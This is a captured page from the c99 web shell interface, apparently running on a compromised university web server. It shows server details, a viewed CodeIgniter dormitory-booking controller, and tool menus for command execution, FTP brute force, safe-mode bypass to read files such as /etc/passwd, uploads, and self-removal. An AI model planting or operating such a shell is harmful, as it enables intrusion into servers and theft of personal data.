!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/controllers/esa/   drwxr-xr-x
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     general.php (4.85 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include('application/controllers/login.php');
class 
General extends Login {
    function 
__construct() {
        
parent::__construct();
        
$this->db $this->load->database('esa'TRUE);
    }

    function 
getDmRm($dmId='') {
        
$this->load->model($this->config->item("ppc_folder").'mo_spc_place''sp');

        
$options = array();
        
$options[''] = "";
        if (
$dmId) {
            
$this->sp->plBuilding $dmId;
            
$rs_sp $this->sp->getDmRm();
            foreach (
$rs_sp->result() as $row_sp) {
                
$options[$row_sp->plHwId] = $row_sp->plRmNo;
            }
        }
        
$js "id=\"dmb_dm_id\"";
        echo 
form_dropdown('dmb_dm_id'$options''$js);
    }

    function 
dmb_input () {
        
$this->load->model($this->config->item('rg_folder').'mo_rg_student','std');
        
$this->load->model($this->config->item('sa_folder').'sa_dm_book_model','dmb');
        
$this->load->model($this->config->item('rg_folder').'mo_rg_prefix','pf');
        
$this->load->model($this->config->item('rg_folder').'mo_rg_curriculum','cur');
        
$this->load->model($this->config->item('rg_folder').'mo_rg_termconfig','tmc');
        
$this->load->model($this->config->item('ppc_folder').'mo_spc_place','sp');

        
$stdCode $this->session->userdata('UsPsCode');
        
$acY $this->session->userdata('acY_R');
        
$tmId $this->session->userdata('tmId_R');

        
$data['action'] = "general";

        
$con_qu_std = array('stdCode'    => $stdCode);
        
$qu_std $this->std->qryStdJoinPfSdtCurGen($con_qu_std);
        if (
$qu_std->num_rows()) {
            
$data['qu_std'] = $qu_std;
            
$row_std $qu_std->row();

            
$this->dmb->dmb_citizen_id $row_std->sdtCitizenId;
            
$this->dmb->dmb_year $acY;
            
$this->dmb->dmb_tm_id $tmId;
            
$qu_dmb $this->dmb->get_duplicate();
            if (
$qu_dmb->num_rows()) {
                
$data['qu_dmb'] = $qu_dmb;
            }
        }

        
$data['rs_pf'] = $this->pf->get_options();

        
$con_rs_cur = array('curStatus'    => 'Y');
        
$ord_rs_cur = array('curName'    => 'ASC');
        
$data['rs_cur'] = $this->cur->get_options($con_rs_cur$ord_rs_cur);

        
$qu_tmc $this->tmc->qryTmcBetweenDate(getNowDate());
        if (
$qu_tmc->num_rows()) {
            
$row_tmc $qu_tmc->row();

            
$acY $row_tmc->tmcAcY;
            
$tmId $row_tmc->tmcTmId;
        }
        
$data['acY'] = $acY;
        
$data['tmId'] = $tmId;

        
$opt[''] = "";
        
/*$rs_dm = $this->sp->getdomitory();
        if ($rs_dm->num_rows()) {
            foreach ($rs_dm->result() as $row_dm) {
                $opt[$row_dm->plHwId] = $row_dm->hwName;

                $this->sp->plBuilding = $row_dm->plHwId;
                $rs_sp = $this->sp->getDmRm();
                foreach ($rs_sp->result() as $row_sp) {
                    $opt[$row_sp->plHwId] = "&nbsp;&nbsp;".$row_sp->hwName;
                }
            }
        }
        $data['rs_dm'] = $opt;*/
        
$data['rs_dm'] = $this->sp->get_optionsdomitory();

        
$this->body .= $this->load->view($this->config->item('sa_folder').'v_add_domitory'$datatrue);
        
$this->show();
    }

    function 
dmb_insert () {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<div class="error">''</div>');
        
$this->form_validation->set_rules('dmb_std_id'' ''trim|xss_clean');
        
$this->form_validation->set_rules('dmb_pf_id'' ''trim|required|xss_clean');
        
$this->form_validation->set_rules('dmb_name'' ''trim|required|xss_clean');
        
$this->form_validation->set_rules('dmb_surname'' ''trim|required|xss_clean');
        
$this->form_validation->set_rules('dmb_citizen_id'' ''trim|required|exact_length[13]|xss_clean');
        
$this->form_validation->set_rules('dmb_cur_id'' ''trim|required|xss_clean');
        
$this->form_validation->set_rules('dmb_year'' ''trim|required|exact_length[4]|xss_clean');
        
$this->form_validation->set_rules('dmb_tm_id'' ''trim|required|xss_clean');
        
$this->form_validation->set_rules('dftDmId'' ''trim|required|xss_clean');
        
$this->form_validation->set_rules('dmb_dm_id'' ''trim|xss_clean');

        if (
$this->form_validation->run() == FALSE) {
            
$this->dmb_input();
        } else {
            
$this->db->trans_begin();

            
$this->load->model($this->config->item('sa_folder').'sa_dm_book_model','dmb');

            
$this->dmb->dmb_std_id $this->input->post('dmb_std_id') ? $this->input->post('dmb_std_id') : NULL;
            
$this->dmb->dmb_pf_id $this->input->post('dmb_pf_id');
            
$this->dmb->dmb_name trim($this->input->post('dmb_name'));
            
$this->dmb->dmb_surname trim($this->input->post('dmb_surname'));
            
$this->dmb->dmb_citizen_id $this->input->post('dmb_citizen_id');
            
$this->dmb->dmb_cur_id $this->input->post('dmb_cur_id');
            
$this->dmb->dmb_year $this->input->post('dmb_year');
            
$this->dmb->dmb_tm_id $this->input->post('dmb_tm_id');
            
$this->dmb->dmb_dm_id $this->input->post('dmb_dm_id') ? $this->input->post('dmb_dm_id') : $this->input->post('dftDmId');
            
$this->dmb->dmb_num_month $this->input->post('dmb_num_month');

            
$qu_dmb $this->dmb->get_duplicate();
            if (
$qu_dmb->num_rows() == 0) {
                
$this->dmb->insert();
            }

            if (
$this->db->trans_status() === false) {
                
$this->db->trans_rollback();
            } else {
                
$this->db->trans_commit();
            }

            
redirect($this->config->item('sa_folder').'general/dmb_input');
        }
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0059 ]--